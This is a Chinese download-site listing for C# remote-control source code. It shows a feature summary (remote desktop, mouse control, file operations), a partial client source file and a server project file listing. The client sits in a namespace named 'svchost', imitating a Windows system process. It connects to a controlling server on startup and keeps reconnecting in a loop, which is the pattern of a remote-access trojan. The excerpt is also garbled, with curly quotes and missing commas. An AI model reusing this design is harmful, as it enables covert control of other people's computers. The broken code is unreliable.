资源简介

本软件功能如下:远程桌面 鼠标控制 远程文件操作 一些其他功能 朋友们可以自己添加。还有就是,测试是在自己电脑上进行的,服务器ip和客户端ip一样,若是在网络上测试 可相应修改套接字的连接IP(源码内有标记说明)

资源截图

代码片段和文件信息

using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Drawing.Imaging;
using System.Linq;
using System.Text;
using System.Windows.Forms;
using System.Threading;
using System.Net;
using System.Net.Sockets;
using System.IO;
using System.Runtime.InteropServices;

namespace svchost
{
    public partial class Form1 : Form
    {
        #region   声明变量和调用的Windows库函数
        private const int MOUSEEVENTF_LEFTDOWN = 0x0002; //模拟鼠标左键按下
        private const int MOUSEEVENTF_LEFTUP = 0x0004; //模拟鼠标左键抬起 
        private const int MOUSEEVENTF_RIGHTDOWN = 0x0008; //模拟鼠标右键按下 
        private const int MOUSEEVENTF_RIGHTUP = 0x0010; //模拟鼠标右键抬起

        private Socket clientSocket = null;     //连接服务器的套接字
        private bool minglingBool = true;       //循环接受服务器命令
        private bool screenBool = false;         //循环向服务器发送屏幕数据
        private MemoryStream ms = null;         //存放屏幕图像数据的内存流
        private bool CA = true;
        private byte[] byE = null;
        private String acceptFileName = ““;
        private int fileBytes = 0;
        private bool sendFileBool = false;
        private bool acceptFileBool = false;

        public Form1()
        {
            InitializeComponent();
            ConnectServer();
            Thread ConnectA = new Thread(new ThreadStart(ConnectAgain));
            ConnectA.Start();
        }

        //调用系统函数 将鼠标移动到相应位置
        [DllImport(“user32.dll“ EntryPoint = “SetCursorPos“)]
        public extern static bool SetCursorPos(int x int y);

        //调用系统函数 鼠标事件函数
        [DllImport(“user32“ EntryPoint = “mouse_event“)]
        private static extern int mouse_event(int dwFlags int dx int dy int cButtons int dwExtraInfo);
        #endregion

        //若与服务器断掉了连接 则每隔30秒钟重连一次
        //
        private void ConnectAgain() 
        {
            while (CA)
            {
                if (!minglingBool && !screenBool)
                {
                    //MessageBox.Show(“重连接线程已近启动“);
                    if (clientSocket != null)
                    {
                        clientSocket.Close();
                    }
                    if (ms != null)
                    {
                        ms = null;
                    }
                    minglingBool = true;
                    ConnectServer();
                }
                Thread.Sleep(3000);
            }
        }

        #region 连接服务器并向服务器发送本机信息
        private void ConnectServer()
        {
            try
            {
                clientSocket = new Socket(AddressFamily.InterNetwork SocketType.Stream ProtocolType.Tcp);
                
                //本机测试 故用本机ip  若是在网络上测试 请更换为相应合适IP
                IPAddress hostIP = Dns.GetHostEntry(Dns.GetHostName()).AddressList[0];
                
                clientSocket.Connect(hostIP 6666);

                if (clientSocket.Connected)

 属性            大小     日期    时间   名称
----------- ---------  ---------- -----  ----

     文件        935  2008-11-11 19:19  c#远程控制源码\yk_screenServer\yk_screenServer.sln

    ..A..H.     20992  2009-02-18 10:21  c#远程控制源码\yk_screenServer\yk_screenServer.suo

     文件      12163  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\screenServer.cs

     文件      19966  2009-02-16 17:14  c#远程控制源码\yk_screenServer\yk_screenServer\FileForm.cs

     文件        668  2008-11-14 15:12  c#远程控制源码\yk_screenServer\yk_screenServer\Client.cs

     文件       4566  2008-11-18 21:07  c#远程控制源码\yk_screenServer\yk_screenServer\yk_screenServer.csproj

     文件     262383  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\screenServer.resx

     文件      17780  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\screenServer.Designer.cs

     文件       3214  2008-11-18 13:34  c#远程控制源码\yk_screenServer\yk_screenServer\screenForm.Designer.cs

     文件     248906  2008-11-18 13:34  c#远程控制源码\yk_screenServer\yk_screenServer\screenForm.resx

     文件      11629  2009-02-16 17:05  c#远程控制源码\yk_screenServer\yk_screenServer\FileForm.Designer.cs

     文件     271548  2009-02-16 17:05  c#远程控制源码\yk_screenServer\yk_screenServer\FileForm.resx

     文件       5063  2008-12-12 14:08  c#远程控制源码\yk_screenServer\yk_screenServer\screenForm.cs

     文件        503  2008-11-11 19:20  c#远程控制源码\yk_screenServer\yk_screenServer\Program.cs

     文件        180  2008-11-19 19:29  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.Properties.Resources.resources

     文件     171690  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.screenServer.resources

     文件     542208  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.exe

     文件        855  2009-02-18 10:21  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.csproj.FileListAbsolute.txt

     文件     162428  2008-11-19 19:29  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.screenForm.resources

     文件     178040  2009-02-16 17:05  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.FileForm.resources

     文件      62976  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.pdb

     文件        978  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\obj\Debug\yk_screenServer.csproj.GenerateResource.Cache

     文件      14328  2009-02-18 10:21  c#远程控制源码\yk_screenServer\yk_screenServer\bin\Debug\yk_screenServer.vshost.exe

     文件     542208  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\bin\Debug\yk_screenServer.exe

     文件      62976  2009-02-18 10:20  c#远程控制源码\yk_screenServer\yk_screenServer\bin\Debug\yk_screenServer.pdb

     文件        490  2007-07-21 01:33  c#远程控制源码\yk_screenServer\yk_screenServer\bin\Debug\yk_screenServer.vshost.exe.manifest

     文件       5612  2008-11-11 19:19  c#远程控制源码\yk_screenServer\yk_screenServer\Properties\Resources.resx

     文件        249  2008-11-11 19:19  c#远程控制源码\yk_screenServer\yk_screenServer\Properties\Settings.settings

     文件       1368  2008-11-11 19:19  c#远程控制源码\yk_screenServer\yk_screenServer\Properties\AssemblyInfo.cs

     文件       2880  2008-11-11 19:19  c#远程控制源码\yk_screenServer\yk_screenServer\Properties\Resources.Designer.cs

............此处省略45个文件信息

评论

共有 条评论